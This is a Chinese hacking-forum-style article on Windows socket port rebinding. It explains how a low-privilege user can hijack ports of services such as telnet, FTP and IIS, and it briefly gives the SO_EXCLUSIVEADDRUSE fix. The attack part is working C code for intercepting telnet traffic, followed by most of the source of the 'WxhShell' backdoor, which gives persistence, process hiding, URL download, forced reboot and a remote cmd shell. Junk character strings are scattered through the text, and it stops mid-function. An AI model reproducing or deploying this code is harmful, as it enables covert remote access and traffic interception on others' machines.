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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: EAoq2_(`a s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <MJ-w1A mpD[k9`x# saddr.sin_family = AF_INET; r |2{(+ NtkZ\3 saddr.sin_addr.s_addr = htonl(INADDR_ANY); `:W }yo<F 8Fv4\dr bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0a:@DOzT ]>[0DX]j 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j+Q+.39s-~ 4ULdf|o P" 这意味着什么?意味着可以进行如下的攻击: mp8Zb&Ggb ~R~eQ=8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?;ZnD(4? YwZ]J 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [= Xb*~ 0B"_St}3D 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f |NXibmP V5p->X2# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 s3=slWY= -fOBM 4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @ X5#? _z>%h>L|g 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )gV @6w T1;>qgp4b 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NMESGNa)z goc; .~? #include eQ<GNvm #include fYlqaO4[ #include +@~e9ZG%a #include S2EV[K8# DWORD WINAPI ClientThread(LPVOID lpParam); `E|>K\ int main() >]kZ2gVt { o w;a7 WORD wVersionRequested; s` =&l DWORD ret; ,fvhP $n WSADATA wsaData; DuIgFp BOOL val; ~|{_Go{
Q SOCKADDR_IN saddr; py6O\` \ SOCKADDR_IN scaddr; dv?t;D@p! int err; ON"p^o>/_? SOCKET s; AJ
z 1 SOCKET sc; lXXWQ= int caddsize; YMj iJTl HANDLE mt; qyjVB/ko DWORD tid; =]o2{d wVersionRequested = MAKEWORD( 2, 2 ); q siV err = WSAStartup( wVersionRequested, &wsaData ); Z9i~>k if ( err != 0 ) { e^v\K[ printf("error!WSAStartup failed!\n"); cCcJOhk|d return -1; NT{'BJ } izLB4pk$ saddr.sin_family = AF_INET; #)4p,H y0'WB`hNQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I(<Trn HahA} Q saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !w/]V{9`X saddr.sin_port = htons(23); P>R u if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [d=BN ,? { |}@teN^J*U printf("error!socket failed!\n"); q NUd "%S return -1; @]L$eOV_ } 3?TUt{3g val = TRUE; Eo@rrM: //SO_REUSEADDR选项就是可以实现端口重绑定的 .Dy2O*` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o1H6E1$= { I_|W'%N] printf("error!setsockopt failed!\n"); ~I]aUN return -1; fONycXM] } ?gCP"~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 57EL&V%j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?8)k6: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q[x|tO yF-`f
_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3dgPP@7d$ { pL: r\Y:R ret=GetLastError(); SPnW8 printf("error!bind failed!\n"); %
@!hf! return -1; >RrG&Wv59 } zrwzI+4 listen(s,2); K{XE|g while(1) Mtn{63cK { [@ NW caddsize = sizeof(scaddr); RY\0dv> //接受连接请求 L;=LAQ6[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =FQH5iSd if(sc!=INVALID_SOCKET) L }R-| { .f|)od[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QiaBZAol if(mt==NULL) sHQO*[[ { 9TEAM<b; printf("Thread Creat Failed!\n"); @B!gxW\C break; \)W Z D } 4D6LP* } kJ)Z{hy CloseHandle(mt); 0Y8Cz /$ } 67U6`9d closesocket(s); 3pyE'9"f6 WSACleanup(); 4W=fQx] return 0; WUb] 8$n } 9Z DbZc DWORD WINAPI ClientThread(LPVOID lpParam) [}5mi?v { -X-sykDm SOCKET ss = (SOCKET)lpParam; }/jWa|)f SOCKET sc; mNJCV8 < unsigned char buf[4096]; 6UU<:KH SOCKADDR_IN saddr; C%#u2C2 long num; }4?z<. V DWORD val; pz"}o#R"x DWORD ret; -4obX //如果是隐藏端口应用的话,可以在此处加一些判断 2` Ihrz6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ViU5l*n; saddr.sin_family = AF_INET; p9&gKIO_m saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [@@EE>
y saddr.sin_port = htons(23); HIda%D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?>My&yB { AmrVxn4 printf("error!socket failed!\n"); %0'7J@W return -1; (/ -90u } u R]8ZT") val = 100; Dn`
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T>,[V: {
|{MXDx ret = GetLastError(); *]c~[&x5& return -1; NMzq10M=6 } 3 ;AJp_; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pDcGf7 { ei~f1$zc#h ret = GetLastError(); BW ux! return -1; w17CZa
6 } Nnfq!%
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N(P2Lo{JF { GE=PaYz printf("error!socket connect failed!\n"); >[Tt'.S!? closesocket(sc); RL*b47, closesocket(ss); :Xu9`5 return -1; gP>W* ]0r1 } %zO>]f& while(1) [rz5tfMp { H;#C NB<e //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /h@3R[k //如果是嗅探内容的话,可以再此处进行内容分析和记录 5yjG\~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NHe[,nIV num = recv(ss,buf,4096,0); U#{(*)qr if(num>0) WwUHHm<v send(sc,buf,num,0); !t?5U_on else if(num==0) |O;vWn'U2 break; R:[#OH.c num = recv(sc,buf,4096,0); H#G3CD2& if(num>0) 0D0uzUD- send(ss,buf,num,0); u"8KH
u5C@ else if(num==0) 1?G%&X@
X break; lUw=YM } 4~2 9, closesocket(ss); t_+owiF)M closesocket(sc); B_RF)meux return 0 ; 3mL(xpT.8z } lHE \Z` -?-yeJP2 \y+^r|IL ========================================================== WP'.o "`h.8=- 下边附上一个代码,,WXhSHELL ]l`V#Rd >O0<u ========================================================== =h.`
ey iDdR-T| #include "stdafx.h" En4!-pWHQ O\h%ZLjfO #include <stdio.h> <4CqG4}Y #include <string.h> l< H nP R/ #include <windows.h> +o35${ #include <winsock2.h> a6?t?:~| #include <winsvc.h> n*caP9B #include <urlmon.h> V(Cxd.u 2nCHL'8N #pragma comment (lib, "Ws2_32.lib") X]dN1/_ #pragma comment (lib, "urlmon.lib") ""IPaNHQ /?a9g>G%N #define MAX_USER 100 // 最大客户端连接数 qHPinxewx #define BUF_SOCK 200 // sock buffer (3=bKcD' #define KEY_BUFF 255 // 输入 buffer k#Qjm9V h?vny->uJ #define REBOOT 0 // 重启 <- R% #define SHUTDOWN 1 // 关机 # wyjb:Ql [}4\CWM #define DEF_PORT 5000 // 监听端口 IsjN
xBM
$QwzL/a #define REG_LEN 16 // 注册表键长度
yZb})4. #define SVC_LEN 80 // NT服务名长度 r]Lj@0F>8 t| B<F t^ // 从dll定义API Swgvj(y;!A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V7vojm4O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X^i3(N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .=) *Qx+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ONUa7 }%<cFi & // wxhshell配置信息 =E:sEw2j struct WSCFG { fw|t`mUGu int ws_port; // 监听端口 IDdu2HNu char ws_passstr[REG_LEN]; // 口令 5i'KGL int ws_autoins; // 安装标记, 1=yes 0=no e0IGx]5i char ws_regname[REG_LEN]; // 注册表键名 lB7/oa1]> char ws_svcname[REG_LEN]; // 服务名 iz+,,UH char ws_svcdisp[SVC_LEN]; // 服务显示名 rddn"~lm1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 2} _^~8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HUbXJsSP int ws_downexe; // 下载执行标记, 1=yes 0=no M7#CMLy char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" aM:tg1g char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /K;A bE -6^Ee?" }; ony;U#^T Z=l2Po n // default Wxhshell configuration ^ '_Fd struct WSCFG wscfg={DEF_PORT, [q^pMH#U" "xuhuanlingzhe", rEWuWv$ 1, "$q"Kilj% "Wxhshell", [a.(0YLr'w "Wxhshell", ;KG}Yr72 "WxhShell Service", "9Br)3 "Wrsky Windows CmdShell Service", ebLt:gGo "Please Input Your Password: ", waG &3m 1, DLO#_t^v. " http://www.wrsky.com/wxhshell.exe", N9vNSmm "Wxhshell.exe" wQM( |@zE} }; -L2?Tap Np;tpq~ // 消息定义模块 (e9hp2m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 24fN3 char *msg_ws_prompt="\n\r? for help\n\r#>"; ~se
;L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; mA#^Pv* char *msg_ws_ext="\n\rExit."; Djf~8q V! char *msg_ws_end="\n\rQuit."; "V,dH%&j char *msg_ws_boot="\n\rReboot..."; bNoZ{ 7 char *msg_ws_poff="\n\rShutdown..."; w)h"?'m~ char *msg_ws_down="\n\rSave to "; QRF:6bAxsL #nKGU"$+ char *msg_ws_err="\n\rErr!"; k"cKxzB char *msg_ws_ok="\n\rOK!"; yK mHTjX= #XNURj char ExeFile[MAX_PATH]; bHzZ4i int nUser = 0; "AIS6%, HANDLE handles[MAX_USER]; >f;oY9 {m int OsIsNt; BJqb'Hjd :ra[e(l9 SERVICE_STATUS serviceStatus; `g{eWY1l SERVICE_STATUS_HANDLE hServiceStatusHandle; y }h2 7e{w,.ny! // 函数声明 1M[|9nWUC int Install(void); \_+Af` int Uninstall(void); UaHN*@ int DownloadFile(char *sURL, SOCKET wsh); W7 +Q&4Y int Boot(int flag); Z#K0a' void HideProc(void); 5yp int GetOsVer(void); - @KT# int Wxhshell(SOCKET wsl); >_X(rar0 void TalkWithClient(void *cs); SQk5SP int CmdShell(SOCKET sock); z] |Y int StartFromService(void); zj=F4]w int StartWxhshell(LPSTR lpCmdLine); Ge24Lp;Y6 o/!a7>xO4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W\e!rq VOID WINAPI NTServiceHandler( DWORD fdwControl ); t2qWB[r sEx\7t K // 数据结构和表定义 9y)}-TcSpY SERVICE_TABLE_ENTRY DispatchTable[] = #QW%
;^ { ^!O2Fw {wscfg.ws_svcname, NTServiceMain}, wh^I|D?" {NULL, NULL} UQtG<W]< }; d"+ _`d=` 0%3T'N% // 自我安装 WhV>]B2+" int Install(void) 1i Q(q\% { |D8c=c% char svExeFile[MAX_PATH]; O^R^Aw HKEY key; <q|eG\01S strcpy(svExeFile,ExeFile); XsMETl"Av4 ;kVo? W] // 如果是win9x系统,修改注册表设为自启动 ;=8@@9 if(!OsIsNt) { /jOug>s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =[Tf9uQY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uJ,I6P~9 RegCloseKey(key); \BSPv]d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~s[Yu!( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @T sdgx8 RegCloseKey(key); 9(BB>o54r return 0; {dV!sQD } >JN[5aus } "~IGE3{ } ";59,\6
else { utw@5 %'dsb7n // 如果是NT以上系统,安装为系统服务
TJb&f< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4_\]zhS if (schSCManager!=0) dr4 m}v. { o4,m+: SC_HANDLE schService = CreateService Zr;(a;QKs ( yn{U/+ schSCManager, $7\hszjZ wscfg.ws_svcname, iLFhm4.PO wscfg.ws_svcdisp, yMf["AvG SERVICE_ALL_ACCESS, _\FA}d@N SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y;HJ"5.Mw SERVICE_AUTO_START, 7JP.c@s SERVICE_ERROR_NORMAL, f=40_5a6 svExeFile, H, O_l% NULL, glWa? #1 NULL, /A`Lyp# NULL, jt",\%j NULL, sT"{ e7;F; NULL \Eyy^pb ); hfQ^C6yR if (schService!=0) )W![TIp { .fS1 CloseServiceHandle(schService); 82z<Q*YP CloseServiceHandle(schSCManager); ,An*w_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v>mr strcat(svExeFile,wscfg.ws_svcname); %C*h/AW)' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9{{CNy
p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p"J\+R RegCloseKey(key); .{k^
tf4 return 0; YCB=RT]&` } a~[]Ye@H } Jm
G)=$, CloseServiceHandle(schSCManager); u|E9X[% } !rgdOlTR ^ } iI%"]- 0@1 wB0ONH[ return 1; ^VB_>|UN4 } '=m ?l ~r>N // 自我卸载
jQ Of+ZE int Uninstall(void) ^2um.`8 { `LCxxpHi| HKEY key; LgS.%Mn 7~ok*yG w if(!OsIsNt) { Nc :>] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \9dC z; RegDeleteValue(key,wscfg.ws_regname); dD"o~iEC RegCloseKey(key); U}<;4Px]7v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $`/J
V?Z RegDeleteValue(key,wscfg.ws_regname); 2qUC@d<K RegCloseKey(key); >=U n=Q% return 0; $+a2CZs! } cwA+?:Ry} } p[-buB] }
&+Pcu5 else { K3^N_^H &`[Dl(W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d/:zO4v3 if (schSCManager!=0) P(za8l> { NFcMh+qnK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
zWI C4: if (schService!=0) bi[gyl# { c>RS~/Y if(DeleteService(schService)!=0) { ~*h` ?A0 CloseServiceHandle(schService); 'y.'Xj:l CloseServiceHandle(schSCManager); ``mW\=fe return 0; /8w
_jjW } NEh5
CloseServiceHandle(schService); efF>kcIC } O486:tF CloseServiceHandle(schSCManager); NbnuQPb' } #~^Y2-C# } h $}&N `$D2w| return 1; X6]eQ PN2 } 3YF*TxKx 2@S{e$YK` // 从指定url下载文件 v-@xO&< int DownloadFile(char *sURL, SOCKET wsh) CCZ]`*wJ { 9
&~Rj 9 HRESULT hr; cC6W1K! char seps[]= "/"; G.a^nQ@e% char *token; C0F#PXUy char *file; <<P&
MObqj char myURL[MAX_PATH]; kiFTx
&gf char myFILE[MAX_PATH]; sX,oJIt e'uI~%$NJL strcpy(myURL,sURL); ye)CfP=ID\ token=strtok(myURL,seps); ?5!>k^q while(token!=NULL) %maLo RJ { ;yO7!{_ file=token; 4X2/n token=strtok(NULL,seps); wDV%.Cc } w;(`!^xv qwU,D6 GetCurrentDirectory(MAX_PATH,myFILE); agFWye strcat(myFILE, "\\"); D'Gmua]I strcat(myFILE, file); 7uQ-:n send(wsh,myFILE,strlen(myFILE),0); NK+iLXC send(wsh,"...",3,0); xA9{o+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,IW$XD if(hr==S_OK) 6
2r%q^r`i return 0; r}y]B\/ else .^S#h
(A return 1; tc@([XqH AtN=G"c>_ } ^\uj&K6l <tbsQ3 // 系统电源模块 9ci=]C5o3K int Boot(int flag) m4~Co*]w { L;0ZB=3n HANDLE hToken; X|F([,o TOKEN_PRIVILEGES tkp; FXPw 5 $b/oiy!=|3 if(OsIsNt) { ~E=.*: 5( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YoKY&i6r} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E,nC}f tkp.PrivilegeCount = 1; daIt `} s tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L
s=2! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ozbu|9+v if(flag==REBOOT) { v(\kSlJ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sSC yjS'T return 0; c"3 a,& } fRe$}KX else { 0k5;Qf6A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Kd _tjWS return 0; )}
y1 } !' No5 } vb-L "S?kC else { /u
}AgIb if(flag==REBOOT) { E3\O?+h# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )x-iru
A: return 0; BOLG#}sm } 9i8D_[ else { D84`#Xbi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U<**Est return 0; `<h}Ygo>k/ } \5$N>
2kO } dIG(7~ \w!G return 1; ki#O ^vl } gg(^:`+ w<<G}4~u| // win9x进程隐藏模块 z6vRTY void HideProc(void) Eoug/we { ;K[`o/#4" Q9N=yz HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1\q2;5 if ( hKernel != NULL ) 1q*85[Y { kn_%'7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m-lUgx7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cyxt EzPp FreeLibrary(hKernel); `5;O|qRq } #e0tT+ 93yJAao9 return; +.Kmpw4 } %Ysu613mz Z<Rz}8s // 获取操作系统版本 xQC.ap int GetOsVer(void) A\Q]o#U { w8*+l0 OSVERSIONINFO winfo; 1%|+yu1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^{["]!f# GetVersionEx(&winfo); Ep0L51Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `?PZvGi return 1; $WvI%r else IBY3QG return 0; !JjB,1 }
>b#z
o, ~a8J"Wh // 客户端句柄模块 yOGaW~ int Wxhshell(SOCKET wsl) KL!k'4JNY { P8e1J0A SOCKET wsh; [1'`KJ] struct sockaddr_in client; x2.G1 DWORD myID; e
=Vu; EVMhc"L while(nUser<MAX_USER) ]`&EB~K&NY { *A`hKx int nSize=sizeof(client); |QJ!5nb wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G8@({EY if(wsh==INVALID_SOCKET) return 1; %O;"Z`I 3=1aMQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6#On .Q if(handles[nUser]==0) LbtcZ)D! closesocket(wsh); Dg/&m*Yl else L@w|2 nUser++; *KF: } oYnA 3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _/ZIDIn nbMnqkNb return 0; VcT(n7 } {j[[E/8N!y k/O|ia6 // 关闭 socket =Z iyT$p void CloseIt(SOCKET wsh) ;g: TsYwM { &F[/@ closesocket(wsh); 3x9O<H} nUser--; T5&jpP`M ExitThread(0); Eu\&}n`i } @#1k+tSA, )H#Hs<)Qy // 客户端请求句柄 /yyed{q void TalkWithClient(void *cs) db:b%1hk: { 1agyT r80w{[S$ SOCKET wsh=(SOCKET)cs; %xf6U>T char pwd[SVC_LEN]; oJR0sbikP char cmd[KEY_BUFF]; }8p;w T! char chr[1]; BD[XP`[{ int i,j; (1fE^KF@f 4hg]/X"H# while (nUser < MAX_USER) { (1%u`#5n-N /sH3Rk.> if(wscfg.ws_passstr) { &@c=$+#C if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p-UACMN&c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W+&ZYN'E //ZeroMemory(pwd,KEY_BUFF); |]HU$GtS i=0; |:`f#H while(i<SVC_LEN) { *nluK x
SF#ys4v // 设置超时 oA}&o_Q% fd_set FdRead; ]|( (&Y
rl struct timeval TimeOut; Z&@X4X"q FD_ZERO(&FdRead); B cd6~ FD_SET(wsh,&FdRead); g1JD8~a TimeOut.tv_sec=8; K_oBSa` TimeOut.tv_usec=0; bS<lB! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aG8}R~wH& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3Tg $:s1x\ol if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tfvX0J pwd =chr[0]; bQow,vf if(chr[0]==0xd || chr[0]==0xa) { ?3kfhR pwd=0; U5z^R>k break; y. @7aT5 } (EIdw\ i++; {7[^L1 } Cp&lS= aAF:nyV~~0 // 如果是非法用户,关闭 socket ..3TB=Z# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #IA[erf: } Il%LI NwoBM6 # send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AtYe\_9$C send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EE#4,d`J 6*gMG3 while(1) { 5Y#yz>B@ ] OqtQLqN ZeroMemory(cmd,KEY_BUFF); v2G_p|+O Gn#5zx#l // 自动支持客户端 telnet标准 7gfNe kr~W j=0; WmP"u7I4 while(j<KEY_BUFF) { G/J5 aj[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2)h
i( cmd[j]=chr[0]; &Hb6 if(chr[0]==0xa || chr[0]==0xd) { *L%HH@] %_ cmd[j]=0; F(^vD_G break;
vr/V_ } :" g^y6i j++; $SRpFz5y$ } ]
NL-)8u GN?^7kI // 下载文件 f}0(qN/G if(strstr(cmd,"http://")) { 63QMv[`, send(wsh,msg_ws_down,strlen(msg_ws_down),0); v#@"Evh7 if(DownloadFile(cmd,wsh)) T|Sz~nO}f send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uc>kCBCd else wAkpk&R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g+t-<D"L5 } ]C3{ _?= else { /+.Bc(` ]Vo;ZY_\ switch(cmd[0]) { @X?DHLM OGh9^,v // 帮助 eZIqyw case '?': { y!u)q3J0& send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "yXKu)_ break; ^](sCE7 } Zk__CgS# // 安装 /T]2ZX> case 'i': { H ifKa/}P8 if(Install()) qxf!]jm send(wsh,msg_ws_err,strlen(msg_ws_err),0); EeG7 %S
5( else 5'd$TC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0=# :x()e break; 7/a[;`i*! } _?M34&.X // 卸载 IP7j)SM! case 'r': { XxcY if(Uninstall()) z6]dF"N send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,})x]'x else f5"1WtB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rCGXHbj% break; $~!%Px) } R2vT\ 6xv // 显示 wxhshell 所在路径 O`Er*-O case 'p': { :f
G5?]) char svExeFile[MAX_PATH]; U<gMgA strcpy(svExeFile,"\n\r"); #( F/P!qk strcat(svExeFile,ExeFile); JS<S?j?*/ send(wsh,svExeFile,strlen(svExeFile),0); <qT[ break; ?1*Ka } 0_q8t!<xJw // 重启 y^zII5|s case 'b': { U>w#`Sy[ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;{EIx*<d if(Boot(REBOOT)) U(P^-J<n1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); FkY}6 else { i'OFun+-, closesocket(wsh); px8988X ExitThread(0); a$r-
U_? } r&oR|-2hRk break; .A<G$ db
? } /2l&D~d" // 关机 k\BJs@- case 'd': { EudX^L5U<d send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yz]c'M@ if(Boot(SHUTDOWN)) (RVe,0y send(wsh,msg_ws_err,strlen(msg_ws_err),0); #%N v\g; else { p4GhT~)l: closesocket(wsh); Z^E>)!t ExitThread(0); fqrQ1{%UH } ?g^42IYG break; =!)Ye:\Q } O2;FaASF // 获取shell _; !7:'J case 's': { q;Tdqv!Ju CmdShell(wsh); .DsdQ4Y closesocket(wsh); 1/+d@s#t ExitThread(0); 9uR+ break; }A jE- K{ } p[R4!if2 // 退出 Q,R>dkS case 'x': { V5:ad send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (StX1g' CloseIt(wsh); 60,z! Vv break; EQI9J#;+ } 01=nS? // 离开 M.fAFL
case 'q': { 'yxN1JF send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;\j7jz^uC closesocket(wsh); zU7co.G WSACleanup(); WX
.Ax$fT exit(1); Zc 9@G- break; oC
?UGY~xL } } I>6 8dS[ } !C\$=\$ } 9d&@;&al ^POHQQ // 提示信息 ypU-/}Cf, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dUN{@a\R0 } '
`
_TFTO } }Q$}LR@ q9Zp8&<EqH return; T_R2BBT
v
} F!7dGa$ RO+ jVY~H- // shell模块句柄 Ov8^6O int CmdShell(SOCKET sock) QN47+)cVt" { Vu.VH([b]Q STARTUPINFO si; Gyx4}pV ZeroMemory(&si,sizeof(si)); /tm2b<G si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n(I,pF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "DaE(S& PROCESS_INFORMATION ProcessInfo; "&Hr)yyWG char cmdline[]="cmd"; a-e_ q CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "I)/|x\G* return 0; u7&q(Z&&O } +YZ*>ki F m?j-' // 自身启动模式 b@ QCdi,u int StartFromService(void) q QcQnd2K { mR["xDHD typedef struct ^'9.VVyz { w*?SGW DWORD ExitStatus; %xt;&HE DWORD PebBaseAddress; ~c,CngeL0 DWORD AffinityMask; R
[ZY;g:p DWORD BasePriority; rn^cajO^ ULONG UniqueProcessId; 9?X8H1 ULONG InheritedFromUniqueProcessId; FKZ'6KM&A } PROCESS_BASIC_INFORMATION; yPrF2@#XZ/ Sq&r
